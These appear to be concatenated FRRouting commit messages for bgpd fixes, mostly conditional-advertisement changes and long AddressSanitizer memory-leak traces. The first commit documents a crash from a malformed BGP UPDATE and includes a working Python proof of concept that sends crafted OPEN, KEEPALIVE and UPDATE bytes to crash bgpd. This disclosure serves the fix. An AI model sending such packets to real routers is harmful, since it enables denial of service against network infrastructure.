If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.
A crash:
```
bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16)
bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17
BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting...
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d]
BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593]
BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181]
BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980]
BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a]
BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290]
BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610]
BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5]
BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867]
BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6]
BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597]
BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3]
BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0]
BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979]
```
Sending:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(1000)
s.close()
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit d8482bf011)
If we have a prefix-list with one entry, and after some time we append a prefix-list
with some more additional entries, conditional advertisement is triggered, and the
old entries are suppressed (because they look identical as sent before).
Hence, the old entries are sent as withdrawals and only new entries sent as updates.
Force re-sending all BGP updates for conditional advertisement. The same is done
for route-refresh, and/or soft clear operations.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit 2d8e859585)
The shallow copy of attr wasn't freed when there was no valid label for the momentand the function return therefore creating leaks. The leak below are solved by flushing the shallow copy of attr.
Address Sanitizer Error detected in bgp_vpnv6_per_nexthop_label.test_bgp_vpnv6_per_nexthop_label/r1.asan.bgpd.13409
=================================================================
==13409==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 280 byte(s) in 7 object(s) allocated from:
#0 0x7f62cd0c9d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f62ccac21c3 in qcalloc lib/memory.c:105
#2 0x5623b8810dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88c13b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x5623b89beabc in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x5623b89beabc in af_label_vpn_export_allocation_mode_magic bgpd/bgp_vty.c:9464
#7 0x5623b89beabc in af_label_vpn_export_allocation_mode bgpd/bgp_vty_clippy.c:2809
#8 0x7f62cca45511 in cmd_execute_command_real lib/command.c:978
#9 0x7f62cca459d5 in cmd_execute_command lib/command.c:1036
#10 0x7f62cca45e54 in cmd_execute lib/command.c:1203
#11 0x7f62ccb6ee20 in vty_command lib/vty.c:591
#12 0x7f62ccb6f2cb in vty_execute lib/vty.c:1354
#13 0x7f62ccb77b95 in vtysh_read lib/vty.c:2362
#14 0x7f62ccb62b8f in event_call lib/event.c:1969
#15 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#16 0x5623b87e054b in main bgpd/bgp_main.c:510
#17 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 280 byte(s) in 7 object(s) allocated from:
#0 0x7f62cd0c9d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f62ccac21c3 in qcalloc lib/memory.c:105
#2 0x5623b8810dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b892e86d in bgp_update bgpd/bgp_route.c:4969
#5 0x5623b893134d in bgp_nlri_parse_ip bgpd/bgp_route.c:6213
#6 0x5623b88e2a0e in bgp_nlri_parse bgpd/bgp_packet.c:341
#7 0x5623b88e4f7c in bgp_update_receive bgpd/bgp_packet.c:2220
#8 0x5623b88f0474 in bgp_process_packet bgpd/bgp_packet.c:3386
#9 0x7f62ccb62b8f in event_call lib/event.c:1969
#10 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#11 0x5623b87e054b in main bgpd/bgp_main.c:510
#12 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 280 byte(s) in 7 object(s) allocated from:
#0 0x7f62cd0c9d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f62ccac21c3 in qcalloc lib/memory.c:105
#2 0x5623b8810dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88c13b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x5623b89bdebb in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x5623b89bdebb in af_label_vpn_export_magic bgpd/bgp_vty.c:9547
#7 0x5623b89bdebb in af_label_vpn_export bgpd/bgp_vty_clippy.c:2868
#8 0x7f62cca45511 in cmd_execute_command_real lib/command.c:978
#9 0x7f62cca459d5 in cmd_execute_command lib/command.c:1036
#10 0x7f62cca45e54 in cmd_execute lib/command.c:1203
#11 0x7f62ccb6ee20 in vty_command lib/vty.c:591
#12 0x7f62ccb6f2cb in vty_execute lib/vty.c:1354
#13 0x7f62ccb77b95 in vtysh_read lib/vty.c:2362
#14 0x7f62ccb62b8f in event_call lib/event.c:1969
#15 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#16 0x5623b87e054b in main bgpd/bgp_main.c:510
#17 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 240 byte(s) in 6 object(s) allocated from:
#0 0x7f62cd0c9d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f62ccac21c3 in qcalloc lib/memory.c:105
#2 0x5623b8810dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88dc289 in evaluate_paths bgpd/bgp_nht.c:1384
#5 0x5623b88ddb0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x5623b88de027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x5623b8a03163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f62ccb92d8a in zclient_read lib/zclient.c:4425
#9 0x7f62ccb62b8f in event_call lib/event.c:1969
#10 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#11 0x5623b87e054b in main bgpd/bgp_main.c:510
#12 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 120 byte(s) in 3 object(s) allocated from:
#0 0x7f62cd0c9d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f62ccac21c3 in qcalloc lib/memory.c:105
#2 0x5623b8810dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b893a406 in bgp_redistribute_add bgpd/bgp_route.c:8692
#5 0x5623b8a02b3b in zebra_read_route bgpd/bgp_zebra.c:595
#6 0x7f62ccb92d8a in zclient_read lib/zclient.c:4425
#7 0x7f62ccb62b8f in event_call lib/event.c:1969
#8 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#9 0x5623b87e054b in main bgpd/bgp_main.c:510
#10 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 80 byte(s) in 2 object(s) allocated from:
#0 0x7f62cd0c9d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f62ccac21c3 in qcalloc lib/memory.c:105
#2 0x5623b8810dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88dc188 in evaluate_paths bgpd/bgp_nht.c:1348
#5 0x5623b88ddb0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x5623b88de027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x5623b8a03163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f62ccb92d8a in zclient_read lib/zclient.c:4425
#9 0x7f62ccb62b8f in event_call lib/event.c:1969
#10 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#11 0x5623b87e054b in main bgpd/bgp_main.c:510
#12 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 56 byte(s) in 7 object(s) allocated from:
#0 0x7f62cd0c9b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f62ccac1ee3 in qmalloc lib/memory.c:100
#2 0x5623b8810eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88c13b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x5623b89beabc in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x5623b89beabc in af_label_vpn_export_allocation_mode_magic bgpd/bgp_vty.c:9464
#7 0x5623b89beabc in af_label_vpn_export_allocation_mode bgpd/bgp_vty_clippy.c:2809
#8 0x7f62cca45511 in cmd_execute_command_real lib/command.c:978
#9 0x7f62cca459d5 in cmd_execute_command lib/command.c:1036
#10 0x7f62cca45e54 in cmd_execute lib/command.c:1203
#11 0x7f62ccb6ee20 in vty_command lib/vty.c:591
#12 0x7f62ccb6f2cb in vty_execute lib/vty.c:1354
#13 0x7f62ccb77b95 in vtysh_read lib/vty.c:2362
#14 0x7f62ccb62b8f in event_call lib/event.c:1969
#15 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#16 0x5623b87e054b in main bgpd/bgp_main.c:510
#17 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 56 byte(s) in 7 object(s) allocated from:
#0 0x7f62cd0c9b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f62ccac1ee3 in qmalloc lib/memory.c:100
#2 0x5623b8810eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b892e86d in bgp_update bgpd/bgp_route.c:4969
#5 0x5623b893134d in bgp_nlri_parse_ip bgpd/bgp_route.c:6213
#6 0x5623b88e2a0e in bgp_nlri_parse bgpd/bgp_packet.c:341
#7 0x5623b88e4f7c in bgp_update_receive bgpd/bgp_packet.c:2220
#8 0x5623b88f0474 in bgp_process_packet bgpd/bgp_packet.c:3386
#9 0x7f62ccb62b8f in event_call lib/event.c:1969
#10 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#11 0x5623b87e054b in main bgpd/bgp_main.c:510
#12 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 56 byte(s) in 7 object(s) allocated from:
#0 0x7f62cd0c9b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f62ccac1ee3 in qmalloc lib/memory.c:100
#2 0x5623b8810eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88c13b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x5623b89bdebb in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x5623b89bdebb in af_label_vpn_export_magic bgpd/bgp_vty.c:9547
#7 0x5623b89bdebb in af_label_vpn_export bgpd/bgp_vty_clippy.c:2868
#8 0x7f62cca45511 in cmd_execute_command_real lib/command.c:978
#9 0x7f62cca459d5 in cmd_execute_command lib/command.c:1036
#10 0x7f62cca45e54 in cmd_execute lib/command.c:1203
#11 0x7f62ccb6ee20 in vty_command lib/vty.c:591
#12 0x7f62ccb6f2cb in vty_execute lib/vty.c:1354
#13 0x7f62ccb77b95 in vtysh_read lib/vty.c:2362
#14 0x7f62ccb62b8f in event_call lib/event.c:1969
#15 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#16 0x5623b87e054b in main bgpd/bgp_main.c:510
#17 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 48 byte(s) in 6 object(s) allocated from:
#0 0x7f62cd0c9b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f62ccac1ee3 in qmalloc lib/memory.c:100
#2 0x5623b8810eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88dc289 in evaluate_paths bgpd/bgp_nht.c:1384
#5 0x5623b88ddb0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x5623b88de027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x5623b8a03163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f62ccb92d8a in zclient_read lib/zclient.c:4425
#9 0x7f62ccb62b8f in event_call lib/event.c:1969
#10 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#11 0x5623b87e054b in main bgpd/bgp_main.c:510
#12 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 24 byte(s) in 3 object(s) allocated from:
#0 0x7f62cd0c9b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f62ccac1ee3 in qmalloc lib/memory.c:100
#2 0x5623b8810eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b893a406 in bgp_redistribute_add bgpd/bgp_route.c:8692
#5 0x5623b8a02b3b in zebra_read_route bgpd/bgp_zebra.c:595
#6 0x7f62ccb92d8a in zclient_read lib/zclient.c:4425
#7 0x7f62ccb62b8f in event_call lib/event.c:1969
#8 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#9 0x5623b87e054b in main bgpd/bgp_main.c:510
#10 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 2 object(s) allocated from:
#0 0x7f62cd0c9b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f62ccac1ee3 in qmalloc lib/memory.c:100
#2 0x5623b8810eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x5623b88be8eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x5623b88dc188 in evaluate_paths bgpd/bgp_nht.c:1348
#5 0x5623b88ddb0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x5623b88de027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x5623b8a03163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f62ccb92d8a in zclient_read lib/zclient.c:4425
#9 0x7f62ccb62b8f in event_call lib/event.c:1969
#10 0x7f62ccaa5462 in frr_run lib/libfrr.c:1213
#11 0x5623b87e054b in main bgpd/bgp_main.c:510
#12 0x7f62cbae7c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 1536 byte(s) leaked in 64 allocation(s).
***********************************************************************************
Address Sanitizer Error detected in bgp_vpnv4_per_nexthop_label.test_bgp_vpnv4_per_nexthop_label/r1.asan.bgpd.10610
=================================================================
==10610==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 280 byte(s) in 7 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9c4686d in bgp_update bgpd/bgp_route.c:4969
#5 0x55cdc9c4934d in bgp_nlri_parse_ip bgpd/bgp_route.c:6213
#6 0x55cdc9bfaa0e in bgp_nlri_parse bgpd/bgp_packet.c:341
#7 0x55cdc9bfcf7c in bgp_update_receive bgpd/bgp_packet.c:2220
#8 0x55cdc9c08474 in bgp_process_packet bgpd/bgp_packet.c:3386
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 280 byte(s) in 7 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bd93b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x55cdc9cd6abc in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x55cdc9cd6abc in af_label_vpn_export_allocation_mode_magic bgpd/bgp_vty.c:9464
#7 0x55cdc9cd6abc in af_label_vpn_export_allocation_mode bgpd/bgp_vty_clippy.c:2809
#8 0x7f81fbede511 in cmd_execute_command_real lib/command.c:978
#9 0x7f81fbede9d5 in cmd_execute_command lib/command.c:1036
#10 0x7f81fbedee54 in cmd_execute lib/command.c:1203
#11 0x7f81fc007e20 in vty_command lib/vty.c:591
#12 0x7f81fc0082cb in vty_execute lib/vty.c:1354
#13 0x7f81fc010b95 in vtysh_read lib/vty.c:2362
#14 0x7f81fbffbb8f in event_call lib/event.c:1969
#15 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#16 0x55cdc9af854b in main bgpd/bgp_main.c:510
#17 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 280 byte(s) in 7 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bd93b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x55cdc9cd5ebb in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x55cdc9cd5ebb in af_label_vpn_export_magic bgpd/bgp_vty.c:9547
#7 0x55cdc9cd5ebb in af_label_vpn_export bgpd/bgp_vty_clippy.c:2868
#8 0x7f81fbede511 in cmd_execute_command_real lib/command.c:978
#9 0x7f81fbede9d5 in cmd_execute_command lib/command.c:1036
#10 0x7f81fbedee54 in cmd_execute lib/command.c:1203
#11 0x7f81fc007e20 in vty_command lib/vty.c:591
#12 0x7f81fc0082cb in vty_execute lib/vty.c:1354
#13 0x7f81fc010b95 in vtysh_read lib/vty.c:2362
#14 0x7f81fbffbb8f in event_call lib/event.c:1969
#15 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#16 0x55cdc9af854b in main bgpd/bgp_main.c:510
#17 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 240 byte(s) in 6 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bf4289 in evaluate_paths bgpd/bgp_nht.c:1384
#5 0x55cdc9bf5b0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x55cdc9bf6027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x55cdc9d1b163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f81fc02bd8a in zclient_read lib/zclient.c:4425
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 80 byte(s) in 2 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bf4188 in evaluate_paths bgpd/bgp_nht.c:1348
#5 0x55cdc9bf5b0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x55cdc9bf6027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x55cdc9d1b163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f81fc02bd8a in zclient_read lib/zclient.c:4425
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 80 byte(s) in 2 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bd93b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x55cdc9bdafd5 in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x55cdc9bdafd5 in vpn_leak_label_callback bgpd/bgp_mplsvpn.c:581
#7 0x55cdc9bb2606 in lp_cbq_docallback bgpd/bgp_labelpool.c:118
#8 0x7f81fc0164b5 in work_queue_run lib/workqueue.c:266
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x7f81fc562d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x7f81fbf5b1c3 in qcalloc lib/memory.c:105
#2 0x55cdc9b28dc8 in ecommunity_dup bgpd/bgp_ecommunity.c:252
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9c52406 in bgp_redistribute_add bgpd/bgp_route.c:8692
#5 0x55cdc9d1ab3b in zebra_read_route bgpd/bgp_zebra.c:595
#6 0x7f81fc02bd8a in zclient_read lib/zclient.c:4425
#7 0x7f81fbffbb8f in event_call lib/event.c:1969
#8 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#9 0x55cdc9af854b in main bgpd/bgp_main.c:510
#10 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 56 byte(s) in 7 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bd93b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x55cdc9cd6abc in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x55cdc9cd6abc in af_label_vpn_export_allocation_mode_magic bgpd/bgp_vty.c:9464
#7 0x55cdc9cd6abc in af_label_vpn_export_allocation_mode bgpd/bgp_vty_clippy.c:2809
#8 0x7f81fbede511 in cmd_execute_command_real lib/command.c:978
#9 0x7f81fbede9d5 in cmd_execute_command lib/command.c:1036
#10 0x7f81fbedee54 in cmd_execute lib/command.c:1203
#11 0x7f81fc007e20 in vty_command lib/vty.c:591
#12 0x7f81fc0082cb in vty_execute lib/vty.c:1354
#13 0x7f81fc010b95 in vtysh_read lib/vty.c:2362
#14 0x7f81fbffbb8f in event_call lib/event.c:1969
#15 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#16 0x55cdc9af854b in main bgpd/bgp_main.c:510
#17 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 56 byte(s) in 7 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bd93b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x55cdc9cd5ebb in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x55cdc9cd5ebb in af_label_vpn_export_magic bgpd/bgp_vty.c:9547
#7 0x55cdc9cd5ebb in af_label_vpn_export bgpd/bgp_vty_clippy.c:2868
#8 0x7f81fbede511 in cmd_execute_command_real lib/command.c:978
#9 0x7f81fbede9d5 in cmd_execute_command lib/command.c:1036
#10 0x7f81fbedee54 in cmd_execute lib/command.c:1203
#11 0x7f81fc007e20 in vty_command lib/vty.c:591
#12 0x7f81fc0082cb in vty_execute lib/vty.c:1354
